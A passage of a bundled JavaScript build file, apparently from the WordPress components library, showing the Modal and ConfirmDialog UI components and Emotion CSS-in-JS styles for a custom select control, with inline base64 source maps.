38873 children: [!__experimentalHideHeader && /* @__PURE__ */ (0, import_jsx_runtime188.jsxs)("div", {
38874 className: "components-modal__header",
38875 children: [/* @__PURE__ */ (0, import_jsx_runtime188.jsxs)("div", {
38876 className: "components-modal__header-heading-container",
38877 children: [icon && /* @__PURE__ */ (0, import_jsx_runtime188.jsx)("span", {
38878 className: "components-modal__icon-container",
38879 "aria-hidden": true,
38880 children: icon
38881 }), title && /* @__PURE__ */ (0, import_jsx_runtime188.jsx)("h1", {
38882 id: headingId,
38883 className: "components-modal__header-heading",
38884 children: title
38885 })]
38886 }), headerActions, isDismissible && /* @__PURE__ */ (0, import_jsx_runtime188.jsxs)(import_jsx_runtime188.Fragment, {
38887 children: [/* @__PURE__ */ (0, import_jsx_runtime188.jsx)(component_default6, {
38888 marginBottom: 0,
38889 marginLeft: 2
38890 }), /* @__PURE__ */ (0, import_jsx_runtime188.jsx)(button_default, {
38891 size: "compact",
38892 onClick: (event) => closeModal().then(() => onRequestClose(event)),
38893 icon: close_default,
38894 label: closeButtonLabel || (0, import_i18n38.__)("Close")
38895 })]
38896 })]
38897 }), /* @__PURE__ */ (0, import_jsx_runtime188.jsx)("div", {
38898 ref: (0, import_compose49.useMergeRefs)([childrenContainerRef, focusOnMount === "firstContentElement" ? focusOnMountRef : null]),
38899 className: "components-modal__children-container",
38900 children
38901 })]
38902 })
38903 })
38904 })
38905 })
38906 );
38907 return (0, import_element123.createPortal)(/* @__PURE__ */ (0, import_jsx_runtime188.jsx)(ModalContext.Provider, {
38908 value: nestedDismissers,
38909 children: modal
38910 }), document.body);
38911 }
38912 var Modal = (0, import_element123.forwardRef)(UnforwardedModal);
38913 Modal.displayName = "Modal";
38914 var modal_default = Modal;
38915
38916 // packages/components/build-module/confirm-dialog/styles.mjs
38917 function _EMOTION_STRINGIFIED_CSS_ERROR__26() {
38918 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
38919 }
38920 var wrapper2 = false ? {
38921 name: "7g5ii0",
38922 styles: "&&{z-index:1000001;}"
38923 } : {
38924 name: "1gucf3d-wrapper",
38925 styles: "&&{z-index:1000001;};label:wrapper;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFhMEIiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIFRoZSB6LWluZGV4IGZvciBDb25maXJtRGlhbG9nIGlzIGJlaW5nIHNldCBoZXJlIGluc3RlYWQgb2YgaW5cbiAqIHBhY2thZ2VzL2Jhc2Utc3R5bGVzL196LWluZGV4LnNjc3MsIGJlY2F1c2UgdGhpcyBjb21wb25lbnQgdXNlc1xuICogZW1vdGlvbiBpbnN0ZWFkIG9mIHNhc3MuXG4gKlxuICogQ29uZmlybURpYWxvZyBuZWVkcyB0aGlzIGhpZ2hlciB6LWluZGV4IHRvIGVuc3VyZSBpdCByZW5kZXJzIG9uIHRvcCBvZlxuICogYW55IHBhcmVudCBQb3BvdmVyIGNvbXBvbmVudC5cbiAqL1xuZXhwb3J0IGNvbnN0IHdyYXBwZXIgPSBjc3NgXG5cdCYmIHtcblx0XHR6LWluZGV4OiAxMDAwMDAxO1xuXHR9XG5gO1xuIl19 */",
38926 toString: _EMOTION_STRINGIFIED_CSS_ERROR__26
38927 };
38928
38929 // packages/components/build-module/confirm-dialog/component.mjs
38930 var import_jsx_runtime189 = __toESM(require_jsx_runtime(), 1);
38931 var UnconnectedConfirmDialog = (props, forwardedRef) => {
38932 const {
38933 isOpen: isOpenProp,
38934 onConfirm,
38935 onCancel,
38936 children,
38937 confirmButtonText,
38938 cancelButtonText,
38939 isBusy,
38940 ...otherProps
38941 } = useContextSystem(props, "ConfirmDialog");
38942 const cx3 = useCx();
38943 const wrapperClassName = cx3(wrapper2);
38944 const cancelButtonRef = (0, import_element124.useRef)(null);
38945 const confirmButtonRef = (0, import_element124.useRef)(null);
38946 const [isOpen, setIsOpen] = (0, import_element124.useState)();
38947 const [shouldSelfClose, setShouldSelfClose] = (0, import_element124.useState)();
38948 (0, import_element124.useEffect)(() => {
38949 const isIsOpenSet = typeof isOpenProp !== "undefined";
38950 setIsOpen(isIsOpenSet ? isOpenProp : true);
38951 setShouldSelfClose(!isIsOpenSet);
38952 }, [isOpenProp]);
38953 const handleEvent = (0, import_element124.useCallback)((callback) => (event) => {
38954 callback?.(event);
38955 if (shouldSelfClose) {
38956 setIsOpen(false);
38957 }
38958 }, [shouldSelfClose, setIsOpen]);
38959 const handleEnter = (0, import_element124.useCallback)((event) => {
38960 const isConfirmOrCancelButton = event.target === cancelButtonRef.current || event.target === confirmButtonRef.current;
38961 if (!isConfirmOrCancelButton && event.key === "Enter") {
38962 handleEvent(onConfirm)(event);
38963 }
38964 }, [handleEvent, onConfirm]);
38965 const cancelLabel = cancelButtonText ?? (0, import_i18n39.__)("Cancel");
38966 const confirmLabel = confirmButtonText ?? (0, import_i18n39.__)("OK");
38967 return /* @__PURE__ */ (0, import_jsx_runtime189.jsx)(import_jsx_runtime189.Fragment, {
38968 children: isOpen && /* @__PURE__ */ (0, import_jsx_runtime189.jsx)(modal_default, {
38969 onRequestClose: handleEvent(onCancel),
38970 onKeyDown: handleEnter,
38971 closeButtonLabel: cancelLabel,
38972 isDismissible: true,
38973 ref: forwardedRef,
38974 overlayClassName: wrapperClassName,
38975 __experimentalHideHeader: true,
38976 ...otherProps,
38977 children: /* @__PURE__ */ (0, import_jsx_runtime189.jsxs)(component_default18, {
38978 spacing: 8,
38979 children: [/* @__PURE__ */ (0, import_jsx_runtime189.jsx)(component_default8, {
38980 children
38981 }), /* @__PURE__ */ (0, import_jsx_runtime189.jsxs)(component_default3, {
38982 direction: "row",
38983 justify: "flex-end",
38984 children: [/* @__PURE__ */ (0, import_jsx_runtime189.jsx)(button_default, {
38985 __next40pxDefaultSize: true,
38986 ref: cancelButtonRef,
38987 variant: "tertiary",
38988 onClick: handleEvent(onCancel),
38989 accessibleWhenDisabled: true,
38990 disabled: isBusy,
38991 children: cancelLabel
38992 }), /* @__PURE__ */ (0, import_jsx_runtime189.jsx)(button_default, {
38993 __next40pxDefaultSize: true,
38994 ref: confirmButtonRef,
38995 variant: "primary",
38996 onClick: handleEvent(onConfirm),
38997 accessibleWhenDisabled: true,
38998 disabled: isBusy,
38999 isBusy,
39000 children: confirmLabel
39001 })]
39002 })]
39003 })
39004 })
39005 });
39006 };
39007 var ConfirmDialog = contextConnect(UnconnectedConfirmDialog, "ConfirmDialog");
39008 var component_default37 = ConfirmDialog;
39009
39010 // packages/components/build-module/custom-select-control/index.mjs
39011 var import_compose50 = __toESM(require_compose(), 1);
39012 var import_i18n41 = __toESM(require_i18n(), 1);
39013
39014 // packages/components/build-module/custom-select-control-v2/custom-select.mjs
39015 var import_element125 = __toESM(require_element(), 1);
39016 var import_i18n40 = __toESM(require_i18n(), 1);
39017
39018 // packages/components/build-module/custom-select-control-v2/styles.mjs
39019 function _EMOTION_STRINGIFIED_CSS_ERROR__27() {
39020 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
39021 }
39022 var INLINE_PADDING = {
39023 compact: config_values_default.controlPaddingXSmall,
39024 small: config_values_default.controlPaddingXSmall,
39025 default: config_values_default.controlPaddingX
39026 };
39027 var getSelectSize = (size3, heightProperty) => {
39028 const sizes = {
39029 compact: {
39030 [heightProperty]: 32,
39031 paddingInlineStart: INLINE_PADDING.compact,
39032 paddingInlineEnd: INLINE_PADDING.compact + chevronIconSize
39033 },
39034 default: {
39035 [heightProperty]: 40,
39036 paddingInlineStart: INLINE_PADDING.default,
39037 paddingInlineEnd: INLINE_PADDING.default + chevronIconSize
39038 },
39039 small: {
39040 [heightProperty]: 24,
39041 paddingInlineStart: INLINE_PADDING.small,
39042 paddingInlineEnd: INLINE_PADDING.small + chevronIconSize
39043 }
39044 };
39045 return sizes[size3] || sizes.default;
39046 };
39047 var getSelectItemSize = (size3) => {
39048 const checkmarkCorrection = 6;
39049 const sizes = {
39050 compact: {
39051 paddingInlineStart: INLINE_PADDING.compact,
39052 paddingInlineEnd: INLINE_PADDING.compact - checkmarkCorrection
39053 },
39054 default: {
39055 paddingInlineStart: INLINE_PADDING.default,
39056 paddingInlineEnd: INLINE_PADDING.default - checkmarkCorrection
39057 },
39058 small: {
39059 paddingInlineStart: INLINE_PADDING.small,
39060 paddingInlineEnd: INLINE_PADDING.small - checkmarkCorrection
39061 }
39062 };
39063 return sizes[size3] || sizes.default;
39064 };
39065 var Select22 = /* @__PURE__ */ createStyled(Select, false ? {
39066 // Do not forward `hasCustomRenderProp` to the underlying Ariakit.Select component
39067 shouldForwardProp: (prop) => prop !== "hasCustomRenderProp",
39068 target: "e1p3eej77"
39069 } : {
39070 // Do not forward `hasCustomRenderProp` to the underlying Ariakit.Select component
39071 shouldForwardProp: (prop) => prop !== "hasCustomRenderProp",
39072 target: "e1p3eej77",
39073 label: "Select"
39074 })(({
39075 size: size3,
39076 hasCustomRenderProp
39077 }) => /* @__PURE__ */ css("display:block;background-color:", COLORS.theme.background, ";border:none;color:", COLORS.theme.foreground, ";cursor:pointer;font-family:inherit;text-align:start;user-select:none;width:100%;&[data-focus-visible]{outline:none;}", getSelectSize(size3, hasCustomRenderProp ? "minHeight" : "height"), " ", !hasCustomRenderProp && truncateStyles, " ", fontSizeStyles({
39078 inputSize: size3
39079 }), ";" + (false ? "" : ";label:Select;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFnRlciLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0ICogYXMgQXJpYWtpdCBmcm9tICdAYXJpYWtpdC9yZWFjdCc7XG5pbXBvcnQgeyBjc3MsIGtleWZyYW1lcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IENPTE9SUywgQ09ORklHIH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgeyBjaGV2cm9uSWNvblNpemUgfSBmcm9tICcuLi9zZWxlY3QtY29udHJvbC9zdHlsZXMvc2VsZWN0LWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCB7IGZvbnRTaXplU3R5bGVzIH0gZnJvbSAnLi4vaW5wdXQtY29udHJvbC9zdHlsZXMvaW5wdXQtY29udHJvbC1zdHlsZXMnO1xuaW1wb3J0IHsgRFJPUERPV05fTU9USU9OX0NTUyB9IGZyb20gJy4uL3V0aWxzL3N0eWxlLW1peGlucyc7XG5pbXBvcnQgdHlwZSB7IEN1c3RvbVNlbGVjdEJ1dHRvblNpemUgfSBmcm9tICcuL3R5cGVzJztcblxuY29uc3QgSU5MSU5FX1BBRERJTkcgPSB7XG5cdGNvbXBhY3Q6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0c21hbGw6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0ZGVmYXVsdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcbn07XG5cbmNvbnN0IGdldFNlbGVjdFNpemUgPSAoXG5cdHNpemU6IE5vbk51bGxhYmxlPCBDdXN0b21TZWxlY3RCdXR0b25TaXplWyAnc2l6ZScgXSA+LFxuXHRoZWlnaHRQcm9wZXJ0eTogJ21pbkhlaWdodCcgfCAnaGVpZ2h0J1xuKSA9PiB7XG5cdGNvbnN0IHNpemVzID0ge1xuXHRcdGNvbXBhY3Q6IHtcblx0XHRcdFsgaGVpZ2h0UHJvcGVydHkgXTogMzIsXG5cdFx0XHRwYWRkaW5nSW5saW5lU3RhcnQ6IElOTElORV9QQURESU5HLmNvbXBhY3QsXG5cdFx0XHRwYWRkaW5nSW5saW5lRW5kOiBJTkxJTkVfUEFERElORy5jb21wYWN0ICsgY2hldnJvbkljb25TaXplLFxuXHRcdH0sXG5cdFx0ZGVmYXVsdDoge1xuXHRcdFx0WyBoZWlnaHRQcm9wZXJ0eSBdOiA0MCxcblx0XHRcdHBhZGRpbmdJbmxpbmVTdGFydDogSU5MSU5FX1BBRERJTkcuZGVmYXVsdCxcblx0XHRcdHBhZGRpbmdJbmxpbmVFbmQ6IElOTElORV9QQURESU5HLmRlZmF1bHQgKyBjaGV2cm9uSWNvblNpemUsXG5cdFx0fSxcblx0XHRzbWFsbDoge1xuXHRcdFx0WyBoZWlnaHRQcm9wZXJ0eSBdOiAyNCxcblx0XHRcdHBhZGRpbmdJbmxpbmVTdGFydDogSU5MSU5FX1BBRERJTkcuc21hbGwsXG5cdFx0XHRwYWRkaW5nSW5saW5lRW5kOiBJTkxJTkVfUEFERElORy5zbWFsbCArIGNoZXZyb25JY29uU2l6ZSxcblx0XHR9LFxuXHR9O1xuXG5cdHJldHVybiBzaXplc1sgc2l6ZSBdIHx8IHNpemVzLmRlZmF1bHQ7XG59O1xuXG5jb25zdCBnZXRTZWxlY3RJdGVtU2l6ZSA9IChcblx0c2l6ZTogTm9uTnVsbGFibGU8IEN1c3RvbVNlbGVjdEJ1dHRvblNpemVbICdzaXplJyBdID5cbikgPT4ge1xuXHQvLyBVc2VkIHRvIHZpc3VhbGx5IGFsaWduIHRoZSBjaGVja21hcmsgd2l0aCB0aGUgY2hldnJvblxuXHRjb25zdCBjaGVja21hcmtDb3JyZWN0aW9uID0gNjtcblx0Y29uc3Qgc2l6ZXMgPSB7XG5cdFx0Y29tcGFjdDoge1xuXHRcdFx0cGFkZGluZ0lubGluZVN0YXJ0OiBJTkxJTkVfUEFERElORy5jb21wYWN0LFxuXHRcdFx0cGFkZGluZ0lubGluZUVuZDogSU5MSU5FX1BBRERJTkcuY29tcGFjdCAtIGNoZWNrbWFya0NvcnJlY3Rpb24sXG5cdFx0fSxcblx0XHRkZWZhdWx0OiB7XG5cdFx0XHRwYWRkaW5nSW5saW5lU3RhcnQ6IElOTElORV9QQURESU5HLmRlZmF1bHQsXG5cdFx0XHRwYWRkaW5nSW5saW5lRW5kOiBJTkxJTkVfUEFERElORy5kZWZhdWx0IC0gY2hlY2ttYXJrQ29ycmVjdGlvbixcblx0XHR9LFxuXHRcdHNtYWxsOiB7XG5cdFx0XHRwYWRkaW5nSW5saW5lU3RhcnQ6IElOTElORV9QQURESU5HLnNtYWxsLFxuXHRcdFx0cGFkZGluZ0lubGluZUVuZDogSU5MSU5FX1BBRERJTkcuc21hbGwgLSBjaGVja21hcmtDb3JyZWN0aW9uLFxuXHRcdH0sXG5cdH07XG5cblx0cmV0dXJuIHNpemVzWyBzaXplIF0gfHwgc2l6ZXMuZGVmYXVsdDtcbn07XG5cbmV4cG9ydCBjb25zdCBTZWxlY3QgPSBzdHlsZWQoIEFyaWFraXQuU2VsZWN0LCB7XG5cdC8vIERvIG5vdCBmb3J3YXJkIGBoYXNDdXN0b21SZW5kZXJQcm9wYCB0byB0aGUgdW5kZXJseWluZyBBcmlha2l0LlNlbGVjdCBjb21wb25lbnRcblx0c2hvdWxkRm9yd2FyZFByb3A6ICggcHJvcCApID0+IHByb3AgIT09ICdoYXNDdXN0b21SZW5kZXJQcm9wJyxcbn0gKShcblx0KCB7XG5cdFx0c2l6ZSxcblx0XHRoYXNDdXN0b21SZW5kZXJQcm9wLFxuXHR9OiB7XG5cdFx0c2l6ZTogTm9uTnVsbGFibGU8IEN1c3RvbVNlbGVjdEJ1dHRvblNpemVbICdzaXplJyBdID47XG5cdFx0aGFzQ3VzdG9tUmVuZGVyUHJvcDogYm9vbGVhbjtcblx0fSApID0+IGNzc2Bcblx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYmFja2dyb3VuZCB9O1xuXHRcdGJvcmRlcjogbm9uZTtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0XHRjdXJzb3I6IHBvaW50ZXI7XG5cdFx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdFx0dGV4dC1hbGlnbjogc3RhcnQ7XG5cdFx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdFx0d2lkdGg6IDEwMCU7XG5cblx0XHQmW2RhdGEtZm9jdXMtdmlzaWJsZV0ge1xuXHRcdFx0b3V0bGluZTogbm9uZTsgLy8gaGFuZGxlZCBieSBJbnB1dEJhc2UgY29tcG9uZW50XG5cdFx0fVxuXG5cdFx0JHsgZ2V0U2VsZWN0U2l6ZSggc2l6ZSwgaGFzQ3VzdG9tUmVuZGVyUHJvcCA/ICdtaW5IZWlnaHQnIDogJ2hlaWdodCcgKSB9XG5cdFx0JHsgISBoYXNDdXN0b21SZW5kZXJQcm9wICYmIHRydW5jYXRlU3R5bGVzIH1cblx0XHQkeyBmb250U2l6ZVN0eWxlcyggeyBpbnB1dFNpemU6IHNpemUgfSApIH1cblx0YFxuKTtcblxuY29uc3Qgc2xpZGVEb3duID0ga2V5ZnJhbWVzKCB7XG5cdCcwJSc6IHsgdHJhbnNmb3JtOiBgdHJhbnNsYXRlWSgtJHsgRFJPUERPV05fTU9USU9OX0NTUy5TTElERV9ESVNUQU5DRSB9KWAgfSxcblx0JzEwMCUnOiB7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVkoMCknIH0sXG59ICk7XG5cbmNvbnN0IGZhZGVJbiA9IGtleWZyYW1lcygge1xuXHQnMCUnOiB7IG9wYWNpdHk6IDAgfSxcblx0JzEwMCUnOiB7IG9wYWNpdHk6IDEgfSxcbn0gKTtcblxuZXhwb3J0IGNvbnN0IFNlbGVjdFBvcG92ZXIgPSBzdHlsZWQoIEFyaWFraXQuU2VsZWN0UG9wb3ZlciApYFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuXG5cdGJhY2tncm91bmQtY29sb3I6ICR7IENPTE9SUy50aGVtZS5iYWNrZ3JvdW5kIH07XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRib3JkZXI6IDFweCBzb2xpZCAkeyBDT0xPUlMudGhlbWUuZm9yZWdyb3VuZCB9O1xuXHRib3gtc2hhZG93OiAkeyBDT05GSUcuZWxldmF0aW9uTWVkaXVtIH07XG5cblx0Lyogei1pbmRleChcIi5jb21wb25lbnRzLXBvcG92ZXJcIikgKi9cblx0ei1pbmRleDogMTAwMDAwMDtcblxuXHRtYXgtaGVpZ2h0OiBtaW4oIHZhciggLS1wb3BvdmVyLWF2YWlsYWJsZS1oZWlnaHQsIDQwMHB4ICksIDQwMHB4ICk7XG5cdG92ZXJmbG93OiBhdXRvO1xuXHRvdmVyc2Nyb2xsLWJlaGF2aW9yOiBjb250YWluO1xuXG5cdC8qIFRoZSBzbWFsbGVzdCBzaXplIHdpdGhvdXQgb3ZlcmZsb3dpbmcgdGhlIGNvbnRhaW5lci4gKi9cblx0bWluLXdpZHRoOiBtaW4tY29udGVudDtcblxuXHQvKiBBbmltYXRpb24gKi9cblx0JltkYXRhLW9wZW5dIHtcblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdGFuaW1hdGlvbi1uYW1lOiAkeyBzbGlkZURvd24gfSwgJHsgZmFkZUluIH07XG5cdFx0XHRhbmltYXRpb24tZHVyYXRpb246ICR7IERST1BET1dOX01PVElPTl9DU1MuU0xJREVfRFVSQVRJT04gfSxcblx0XHRcdFx0JHsgRFJPUERPV05fTU9USU9OX0NTUy5GQURFX0RVUkFUSU9OIH07XG5cdFx0XHRhbmltYXRpb24tdGltaW5nLWZ1bmN0aW9uOiAkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0VBU0lORyB9LFxuXHRcdFx0XHQkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLkZBREVfRUFTSU5HIH07XG5cdFx0XHR3aWxsLWNoYW5nZTogdHJhbnNmb3JtLCBvcGFjaXR5O1xuXHRcdH1cblx0fVxuXG5cdCZbZGF0YS1mb2N1cy12aXNpYmxlXSB7XG5cdFx0LyogVGhlIG91dGxpbmUgd2lsbCBiZSBvbiB0aGUgdHJpZ2dlciwgcmF0aGVyIHRoYW4gdGhlIHBvcG92ZXIuICovXG5cdFx0b3V0bGluZTogbm9uZTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFNlbGVjdEl0ZW0gPSBzdHlsZWQoIEFyaWFraXQuU2VsZWN0SXRlbSApKFxuXHQoIHtcblx0XHRzaXplLFxuXHR9OiB7XG5cdFx0c2l6ZTogTm9uTnVsbGFibGU8IEN1c3RvbVNlbGVjdEJ1dHRvblNpemVbICdzaXplJyBdID47XG5cdH0gKSA9PiBjc3NgXG5cdFx0Y3Vyc29yOiBkZWZhdWx0O1xuXHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHRqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XG5cdFx0Zm9udC1zaXplOiAkeyBDT05GSUcuZm9udFNpemUgfTtcblx0XHQvLyBUT0RPOiByZWFzc2VzcyBsaW5lLWhlaWdodCBmb3Igbm9uLWxlZ2FjeSB2MlxuXHRcdGxpbmUtaGVpZ2h0OiAyOHB4O1xuXHRcdHBhZGRpbmctYmxvY2s6ICR7IHNwYWNlKCAyICkgfTtcblx0XHRzY3JvbGwtbWFyZ2luOiAkeyBzcGFjZSggMSApIH07XG5cdFx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cblx0XHQmW2FyaWEtZGlzYWJsZWQ9J3RydWUnXSB7XG5cdFx0XHRjdXJzb3I6IG5vdC1hbGxvd2VkO1xuXHRcdH1cblxuXHRcdCZbZGF0YS1hY3RpdmUtaXRlbV0ge1xuXHRcdFx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnRoZW1lLmdyYXlbIDMwMCBdIH07XG5cdFx0fVxuXG5cdFx0JHsgZ2V0U2VsZWN0SXRlbVNpemUoIHNpemUgKSB9XG5cdGBcbik7XG5cbmNvbnN0IHRydW5jYXRlU3R5bGVzID0gY3NzYFxuXHRvdmVyZmxvdzogaGlkZGVuO1xuXHR0ZXh0LW92ZXJmbG93OiBlbGxpcHNpcztcblx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcbmA7XG5cbmV4cG9ydCBjb25zdCBTZWxlY3RlZEV4cGVyaW1lbnRhbEhpbnRXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0JHsgdHJ1bmNhdGVTdHlsZXMgfVxuYDtcblxuZXhwb3J0IGNvbnN0IFNlbGVjdGVkRXhwZXJpbWVudGFsSGludEl0ZW0gPSBzdHlsZWQuc3BhbmBcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyA2MDAgXSB9O1xuXHRtYXJnaW4taW5saW5lLXN0YXJ0OiAkeyBzcGFjZSggMiApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgV2l0aEhpbnRJdGVtV3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdGRpc3BsYXk6IGZsZXg7XG5cdGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2Vlbjtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZmxleC13cmFwOiB3cmFwO1xuXHRmbGV4OiAxO1xuXHRjb2x1bW4tZ2FwOiAkeyBzcGFjZSggNCApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgV2l0aEhpbnRJdGVtSGludCA9IHN0eWxlZC5zcGFuYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmdyYXlbIDYwMCBdIH07XG5cdHRleHQtYWxpZ246IGluaXRpYWw7XG5cdGxpbmUtaGVpZ2h0OiAkeyBDT05GSUcuZm9udExpbmVIZWlnaHRCYXNlIH07XG5cdHBhZGRpbmctaW5saW5lLWVuZDogJHsgc3BhY2UoIDEgKSB9O1xuXHRtYXJnaW4tYmxvY2s6ICR7IHNwYWNlKCAxICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBTZWxlY3RlZEl0ZW1DaGVjayA9IHN0eWxlZCggQXJpYWtpdC5TZWxlY3RJdGVtQ2hlY2sgKWBcblx0ZGlzcGxheTogZmxleDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0bWFyZ2luLWlubGluZS1zdGFydDogJHsgc3BhY2UoIDIgKSB9O1xuXHRmaWxsOiBjdXJyZW50Q29sb3I7XG5cblx0Ly8gS2VlcCB0aGUgY2hlY2ttYXJrIHZlcnRpY2FsbHkgYWxpZ25lZCBhdCB0aGUgdG9wLiBTaW5jZSB0aGUgaXRlbSB0ZXh0IGhhcyBhXG5cdC8vIDI4cHggbGluZSBoZWlnaHQgYW5kIHRoZSBjaGVja21hcmsgaXMgMjRweCB0YWxsLCBhICgyOC0yNCkvMiA9IDJweCBtYXJnaW5cblx0Ly8gaXMgYXBwbGllZCB0byBrZWVwIHRoZSBjb3JyZWN0IGFsaWdubWVudCBiZXR3ZWVuIHRoZSB0ZXh0IGFuZCB0aGUgY2hlY2ttYXJrLlxuXHRhbGlnbi1zZWxmOiBzdGFydDtcblx0bWFyZ2luLWJsb2NrLXN0YXJ0OiAycHg7XG5cblx0Ly8gU2luY2UgdGhlIGNoZWNrbWFyaydzIGRpbWVuc2lvbnMgYXJlIGFwcGxpZWQgd2l0aCAnZW0nIHVuaXRzLCBzZXR0aW5nIGFcblx0Ly8gZm9udCBzaXplIG9mIDAgYWxsb3dzIHRoZSBzcGFjZSByZXNlcnZlZCBmb3IgdGhlIGNoZWNrbWFyayB0byBjb2xsYXBzZSBmb3Jcblx0Ly8gaXRlbXMgdGhhdCBhcmUgbm90IHNlbGVjdGVkIG9yIHRoYXQgZG9uJ3QgaGF2ZSBhbiBhc3NvY2lhdGVkIGl0ZW0gaGludC5cblx0Zm9udC1zaXplOiAwO1xuXHQkeyBXaXRoSGludEl0ZW1XcmFwcGVyIH0gfiAmLFxuXHQmOm5vdCg6ZW1wdHkpIHtcblx0XHRmb250LXNpemU6IDI0cHg7IC8vIFNpemUgb2YgY2hlY2ttYXJrIGljb25cblx0fVxuYDtcbiJdfQ== */"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFzRXNCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCAqIGFzIEFyaWFraXQgZnJvbSAnQGFyaWFraXQvcmVhY3QnO1xuaW1wb3J0IHsgY3NzLCBrZXlmcmFtZXMgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRyB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0IHsgY2hldnJvbkljb25TaXplIH0gZnJvbSAnLi4vc2VsZWN0LWNvbnRyb2wvc3R5bGVzL3NlbGVjdC1jb250cm9sLXN0eWxlcyc7XG5pbXBvcnQgeyBmb250U2l6ZVN0eWxlcyB9IGZyb20gJy4uL2lucHV0LWNvbnRyb2wvc3R5bGVzL2lucHV0LWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCB7IERST1BET1dOX01PVElPTl9DU1MgfSBmcm9tICcuLi91dGlscy9zdHlsZS1taXhpbnMnO1xuaW1wb3J0IHR5cGUgeyBDdXN0b21TZWxlY3RCdXR0b25TaXplIH0gZnJvbSAnLi90eXBlcyc7XG5cbmNvbnN0IElOTElORV9QQURESU5HID0ge1xuXHRjb21wYWN0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdHNtYWxsOiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdGRlZmF1bHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG59O1xuXG5jb25zdCBnZXRTZWxlY3RTaXplID0gKFxuXHRzaXplOiBOb25OdWxsYWJsZTwgQ3VzdG9tU2VsZWN0QnV0dG9uU2l6ZVsgJ3NpemUnIF0gPixcblx0aGVpZ2h0UHJvcGVydHk6ICdtaW5IZWlnaHQnIHwgJ2hlaWdodCdcbikgPT4ge1xuXHRjb25zdCBzaXplcyA9IHtcblx0X